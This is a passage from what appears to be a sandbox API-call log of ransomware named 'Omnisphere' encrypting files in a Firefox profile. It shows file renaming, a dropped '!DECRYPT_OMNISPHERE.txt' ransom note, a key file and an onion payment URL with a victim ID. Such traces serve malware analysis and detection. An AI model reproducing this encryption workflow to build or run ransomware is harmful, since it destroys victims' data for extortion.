pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.641] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.641] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.641] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0be38*, pdwDataLen=0x3e0be4c*=0x10) returned 1 [0162.641] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.641] CryptReleaseContext (hProv=0x16681b8, dwFlags=0x0) returned 1 [0162.641] SetFilePointerEx (in: hFile=0x3b4, liDistanceToMove=0x3b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0c3d0 | out: lpNewFilePointer=0x0) returned 1 [0162.641] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c3e4, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0c3e4*=0x524, lpOverlapped=0x0) returned 1 [0162.643] GetProcessHeap () returned 0x1600000 [0162.643] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x318) returned 0x1750c08 [0162.643] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere")) returned 1 [0162.644] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere.id" [0162.644] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0162.644] WriteFile (in: hFile=0x394, lpBuffer=0x3e0be84*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0be6c, lpOverlapped=0x0 | out: lpBuffer=0x3e0be84*, lpNumberOfBytesWritten=0x3e0be6c*=0x524, lpOverlapped=0x0) returned 1 [0162.645] CloseHandle (hObject=0x394) returned 1 [0162.645] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.646] CloseHandle (hObject=0x398) returned 1 [0162.646] SetEndOfFile (hFile=0x3b4) returned 1 [0162.646] FlushFileBuffers (hFile=0x3b4) returned 1 [0162.649] CloseHandle (hObject=0x3b4) returned 1 [0162.649] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\.metadata-v2" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home") returned 1 [0162.649] GetProcessHeap () returned 0x1600000 [0162.649] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1750f28 [0162.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.649] GetProcessHeap () returned 0x1600000 [0162.649] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733748 [0162.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733748, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.649] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.649] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.649] GetProcessHeap () returned 0x1600000 [0162.649] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f320 [0162.650] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f320, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.650] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.650] GetProcessHeap () returned 0x1600000 [0162.650] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11e) returned 0x1751448 [0162.650] PathCombineW (in: pszDest=0x1751448, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!DECRYPT_OMNISPHERE.txt" [0162.650] GetProcessHeap () returned 0x1600000 [0162.650] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x17421c0 [0162.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.650] WriteFile (in: hFile=0x3b4, lpBuffer=0x17421c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0c404, lpOverlapped=0x0 | out: lpBuffer=0x17421c0*, lpNumberOfBytesWritten=0x3e0c404*=0x588, lpOverlapped=0x0) returned 1 [0162.650] CloseHandle (hObject=0x3b4) returned 1 [0162.650] GetProcessHeap () returned 0x1600000 [0162.650] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750f28 | out: hHeap=0x1600000) returned 1 [0162.650] GetProcessHeap () returned 0x1600000 [0162.650] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x114) returned 0x1750f28 [0162.651] PathCombineW (in: pszDest=0x1750f28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key" [0162.651] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.651] WriteFile (in: hFile=0x3b4, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0c418, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0c418*=0x5a0, lpOverlapped=0x0) returned 1 [0162.651] CloseHandle (hObject=0x3b4) returned 1 [0162.651] GetProcessHeap () returned 0x1600000 [0162.651] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750f28 | out: hHeap=0x1600000) returned 1 [0162.651] GetProcessHeap () returned 0x1600000 [0162.651] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1750190 | out: hHeap=0x1600000) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x826703d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf722f14, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName="idb", cAlternateFileName="")) returned 1 [0162.651] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x826703d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf722f14, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xa9, cFileName="idb", cAlternateFileName="")) returned 0 [0162.651] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0162.651] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x420b2985, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41de8bd2, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x420b2985, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="..", cAlternateFileName="")) returned 1 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4208c59e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4208c59e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41e667ed, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41e667ed, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x55f, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata-v2.omnisphere", cAlternateFileName="METADA~2.OMN")) returned 1 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x420b2985, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x420b2985, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x420b2985, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata-v2.omnisphere.id", cAlternateFileName="METADA~2.ID")) returned 1 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41de9f5b, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41de9f5b, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x4208c59e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x552, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata.omnisphere", cAlternateFileName="METADA~1.OMN")) returned 1 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4208c59e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x4208c59e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x4208c59e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName=".metadata.omnisphere.id", cAlternateFileName="METADA~1.ID")) returned 1 [0162.652] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x826703d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf722f14, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x740073, cFileName="idb", cAlternateFileName="")) returned 1 [0162.652] GetProcessHeap () returned 0x1600000 [0162.652] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf6) returned 0x1750190 [0162.652] PathCombineW (in: pszDest=0x1750190, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home", pszFile="idb" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb" [0162.652] GetProcessHeap () returned 0x1600000 [0162.652] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfa) returned 0x1750f28 [0162.652] PathCombineW (in: pszDest=0x1750f28, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\*" [0162.652] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\*", lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x826703d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf722f14, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x95, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0162.654] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x41ea601c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x826703d, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xf722f14, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x95, cFileName="..", cAlternateFileName="")) returned 1 [0162.654] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x421d9eea, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x421d9eea, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x421d9eea, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x95, cFileName="818200132aebmoouht.files", cAlternateFileName="818200~1.FIL")) returned 1 [0162.654] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c1b8 | out: lpFindFileData=0x3e0c1b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ea7396, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41ea7396, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x971d956, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x1e000, dwReserved0=0x0, dwReserved1=0x95, cFileName="818200132aebmoouht.sqlite", cAlternateFileName="818200~1.SQL")) returned 1 [0162.654] GetProcessHeap () returned 0x1600000 [0162.654] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x12a) returned 0x1751030 [0162.654] PathCombineW (in: pszDest=0x1751030, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb", pszFile="818200132aebmoouht.sqlite" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" [0162.654] StrStrW (lpFirst=".omnisphere", lpSrch=".sqlite") returned 0x0 [0162.654] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.654] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x3e0bee0 | out: lpFileSize=0x3e0bee0*=122880) returned 1 [0162.655] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x1dadc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0bed4 | out: lpNewFilePointer=0x0) returned 1 [0162.655] ReadFile (in: hFile=0x398, lpBuffer=0x3e0b988, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0bed0, lpOverlapped=0x0 | out: lpBuffer=0x3e0b988*, lpNumberOfBytesRead=0x3e0bed0*=0x524, lpOverlapped=0x0) returned 1 [0162.696] CreateFileMappingW (hFile=0x398, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e000, lpName=0x0) returned 0x394 [0162.696] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x14a0000 [0162.696] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0162.697] CloseHandle (hObject=0x394) returned 1 [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.697] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] GetTickCount () returned 0x116867d [0162.698] CryptAcquireContextW (in: phProv=0x3e0b968, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0b968*=0x1668708) returned 1 [0162.698] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0b8d0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0b974 | out: phKey=0x3e0b974*=0x16395e8) returned 1 [0162.698] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0be20*, pdwDataLen=0x3e0b964*=0x75, dwBufLen=0x80 | out: pbData=0x3e0be20*, pdwDataLen=0x3e0b964*=0x80) returned 1 [0162.699] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.699] CryptReleaseContext (hProv=0x1668708, dwFlags=0x0) returned 1 [0162.699] CreateFileMappingW (hFile=0x398, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1e000, lpName=0x0) returned 0x394 [0162.699] MapViewOfFile (hFileMappingObject=0x394, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e000) returned 0x14a0000 [0162.701] CryptAcquireContextW (in: phProv=0x3e0b958, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0b958*=0x1668708) returned 1 [0162.702] CryptImportKey (in: hProv=0x1668708, pbData=0x3e0b910, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0b968 | out: phKey=0x3e0b968*=0x1639768) returned 1 [0162.702] CryptSetKeyParam (hKey=0x1639768, dwParam=0x4, pbData=0x3e0b94c*=0x2, dwFlags=0x0) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0b954*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0b954*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10) returned 1 [0162.702] CryptEncrypt (in: hKey=0x1639768, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0b93c*, pdwDataLen=0x3e0b950*=0x10, dwBufLen=0x10 | out: pbData=0x3e0b93c*, 